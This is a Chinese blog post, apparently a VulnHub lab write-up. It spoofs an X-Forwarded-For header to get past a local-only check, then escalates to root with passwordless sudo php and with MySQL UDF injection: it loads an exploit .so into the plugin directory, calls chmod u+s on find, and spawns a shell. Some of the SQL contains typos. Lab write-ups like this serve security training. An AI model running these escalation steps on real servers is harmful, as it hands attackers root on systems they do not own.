记一次udf提权

发布于:2022-11-29 ⋅ 阅读:(469) ⋅ 点赞:(0)

靶场myandmygirlfriend

前面的信息收集就不说了,arp-scan -l,nmap扫描主机和端口,dirsearch扫描目录,

打开页面可以看到:only be accessed local 谷歌翻译发现是只能本地访问....

 看一眼源码:提示就出来了

 抓包改一下head添加以下xff头:X-Forwarded-For:127.0.0.1

但是每次访问都需要添加xff头太麻烦了,上浏览器插件吧,

我们的好伙伴就是工具和插件哈哈哈,谷歌火狐都有(X-Forwarded-For hander)

简单的拿到shell的步骤:

进去find下就可以发现第一个flag,(总共俩flag)并且发现权限不高,感觉得提权。信息收集一波: 查看系统内核信息(用于内核提权):

1、uname -a

2、cat /etc/issue 查看系统版本  Ubuntu 14.04.6 LTS \n \l

3、cat /etc/os-release

其他信息:

netstat -ant 端口开放信息,可能会有只开放在本地的服务,这台靶机就有个mysql开放在本地

sudo -l

 

这里可以看到最后一行(root)NOPASSWD:/usr/bin/php,意思是sudo执行php不需要密码....那不就玩完了嘛,哎~

先sudo php -a 用system();试试

find一下就可以发现flag2了。这个靶机就完事了,好了今天的打靶就到此结束啦~!!

诶!别走,今天的题目是什么udf提权啊,主题都没了文章还有灵魂吗,难道你就忍心拿着俩flag就拍屁股走人了吗?多奇怪的拿flag方式,php这个看着都不舒服,前面他不是开放了个MySQL在本地嘛,今天就来试试mysql提权

先试试之前靠id找到的几个账号能不能登陆进去mysql,发现都不行,只能看看MySQL的配置文件了,my.conf权限不够不能修改,只能看看网站配置文件了,发现config目录里正好有个MySQL的明文账号密码。

先看看这个数据库满不满足条件:

plugin目录有写入权限

show variable like "%secure%"

secure_file_priv为空,可以提权。

操作:
kali自带exp:
searchsploit udf
将exp拿出来gcc编译

靶机利用wget下载到/tmp目录下

然后进入数据库mysql:

创建表
    create table ykc (line blog);数据类型得是blog
插入数据
	insert into ykc value(load_file('/tmp/udfexp.so'));
导出数据
	select * ykc into dumpfile '/usr/lib/mysql/plugin/udfexp.so'
自建函数do_system
	create function do_system returns integer soname 'udfexp.so';
//(创建自定义函数do_system 类型是integer,别名(soname)文件名字)
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
	select do_system('chmod u+s /usr/bin/find');
利用find
	touch udfexp
	find udfexp -exec "/bin/sh" \;或者:find udfexp -exec "id" \;

 

添加root用户提权:

 抱歉我太懒了就贴xmind的截图吧~哎~。

羡慕那些有好看的blog的大佬,自己也在慢慢的去搭一个。

谢谢你看到了这里!!!一起加油加油!!

参考文章:

3-vulnhub-Raven2&PHPMailer&CVE-2016-10033&kali 40974.c&udf提权(1518.c)_少年醉春风的博客-CSDN博客

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到